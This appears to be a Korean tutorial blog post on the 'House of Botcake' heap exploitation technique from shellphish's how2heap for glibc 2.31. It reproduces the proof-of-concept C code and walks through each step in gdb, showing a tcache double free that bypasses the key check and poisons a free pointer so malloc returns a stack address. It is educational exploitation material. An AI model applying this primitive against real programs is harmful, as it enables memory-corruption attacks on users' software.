House of botcake는 tcache에서 double free bug를 막기 위해 추가된 e->key를 건드리지 않고도, DFB를 유발시킬 수 있는 취약점이다.
우선 코드를 살펴보기 전, tcache에 대해 몇 가지 짚고 넘어갈 포인트가 있다.
추가로 + Double Free Bug 취약점에 대한 이해
위의 포인트들을 기억하고, 코드를 살펴보자.
int main()
{
intptr_t stack_var[4];
printf("the target address is %p.\n\n", stack_var);
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
free(a);// a is already freed
// simple tcache poisoning
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);
assert(c==stack_var);
return 0;
}
위부터 차근차근 살펴보자.
intptr_t stack_var[4];
printf("the target address is %p.\n\n", stack_var)
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
우선 for문을 통해 7번 반복을 수행한다.
그러면 0x100의 크기를 가진 7개의 Chunk가 할당될 것이다.
정확하기 확인하기 위해 gdb를 통해 살펴보자.
반복문이 끝난 부분을 확인하기 위해 b *main+222
로 breakpoint 설정!
그러면 총 7개의 Chunk가 할당된 것을 확인할 수 있다.(0x100 + 0x10 + 0x1은 Flag bit로 예상)
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);
다음으로 0x100 크기의 Chunk를 2개 할당받고, 0x10 크기의 Chunk 1개를 할당받는다.
마찬가지로 바로 pwndbg를 통해 확인해보자.
b *main+315 까지가 0x10을 할당받는 코드.
해당 부분에서 heap 명령어를 통해 heap를 확인해본 모습
즉, 지금까지의 상황을 요약해보면,
1. 7번의 malloc(0x100)
2. 2번의 malloc(0x100)
3. 1번의 malloc(0x10)
위 부분을 기억하고, 이제 다음부분으로 넘어가보자...
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
다음부분은 7개의 0x100 크기의 Chunk들을 Free하는 부분이다.
Free 함수의 7번 호출 이후인 b *main+400으로 이동
해당 부분으로 이동하여 heap 명령어를 통해 확인해보면 아래와 같음.
7개의 Chunk들이 해제되었고, tcachebins로 이동...
tcachebins 명령어를 통해 tcachebins를 확인해보면, 7개로 가득찬 것을 확인할 수 있다..
※ tcachebin은 동일한 Size의 Chunk를 최대 7개까지 보관.
그러면 다음부터 해제되는 2개의 0x100 Size의 Chunk는 Unsorted bin에 들어가게 될 것이다...
heap 명령어를 통해 아직 해제되지 않은 Chunk의 주소를 확인해보면, 위와 같다.
Addr : 0x555555559a00 & 0x555555559b10
Free(0x555555559b10) 호출!
heap & unsortedbin 명령어를 통해 확인해보면, tcachebin이 7개로 가득찬 후 다음 해제되는 0x100 크기의 Chunk는 Unsorted bin에 들어간 것을 확인할 수 있다...
또한 Unsortedbin은 tcachebin과 다르게, fd와 bk를 모두 사용한다!
그 다음 Free 함수 호출
마지막으로 0x100의 Chunk를 한 번 더 호출하면, 이전에 호출했던 Chunk와 인접한 지역에 있으므로, 둘을 병합한다.
사이즈가 0x221로 0x100사이즈의 Chunk 2개가 병합된 것을 확인할 수 있다.
또한 Unsorted bin의 주소가 달라진 것을 확인할 수 있다.(0x555555559b10 -> 0x555555559a00)
0x555555559b10의 주소가 a!
0x555555559a00의 주소는 코드에서 prev!
우선 a와 prev 모두 Free가 된 상태이다.
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
그 다음으로 tcachebin의 자리를 하나 비워주기 위해 malloc(0x100)의 코드를 실행한다.
malloc(0x100) 실행 후 heap 확인
tcachebins 명령어를 통해 확인해보면, 7 ➔ 6개로 1자리가 생긴 것을 확인할 수 있다.
free(a);// a is already freed
그 후 a 주소를 다시 free 시켜준다!!!
그러면 a는 이미 Free 된 상태임에도 불구하고, e➔key 값이 없어 검증을 우회하여 한 번 더 Free가 되어, tcachebin에 들어간다!
a의 fd, 0x555555559b10 + 0x10 = 0x555555559B20
즉, a는 Double Free 상태 !!!
다시 진행 GoGo~
intptr_t *b = malloc(0x120);
b[0x120/8-2] = (long)stack_var;
0x120인 Chunk를 할당요청하면, Unsortedbin에서 꺼내준다..
heap으로 확인해보자... 그러면, 0x555555559a00 주소로 0x130만큼 잘라서 할당해준 것을 확인할 수 있다...
그러면 이제 해당 Chunk의 주소값을 통해 a 주소의 fd 값을 조작할 수 있는 것이다. 이해하기 쉽게 도식화로 표현해보면 아래와 같다.
fd를 조작하기 위해서는 b[22]에 값을 넣어줘야하므로, 코드의 맨 아래부분에서 b[22]에 (long)stack_var을 넣어주는 것이다.
계산식은 아래와 같다.
0x555555559b20 - 0x555555559a10 = 0x110 / 8 = 22
0x110을 할당받은 변수는 intptr_t(8byte)이므로, a의 fd를 수정하기 위해서는 b[22] 번째 값에 stack_var의 주소를 넣어줘야함.
실제로 gdb를 통해 확인해보면, fd에 stack_var의 주소(0x7fffffffe390)가 정상적으로 들어간 것을 확인할 수 있다!
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);
assert(c==stack_var);
printf("Got control on target/stack!\n\n");
해당 tcachebins에서 stack_var 에 값을 쓰기 위해선 malloc을 한 번 해주고(0x555555559b20), 그 다음 malloc에서 stack_var에 값을 삽입할 수 있다.
c의 주소값이 stack_var의 주소가 출력된 것을 확인할 수 있다.(malloc으로 할당받은 영역이 stack_var의 주소. 즉, stack_var에 값을 쓸 수 있다!)
그리고 마지막으로 assert함수를 통해 malloc을 통해 할당받은 c의 주소와 stack_var의 주소가 같은지 확인하고 있다!!!
-The End🖐-
※ how2heap(glibc-2.31)
👉https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_botcake.c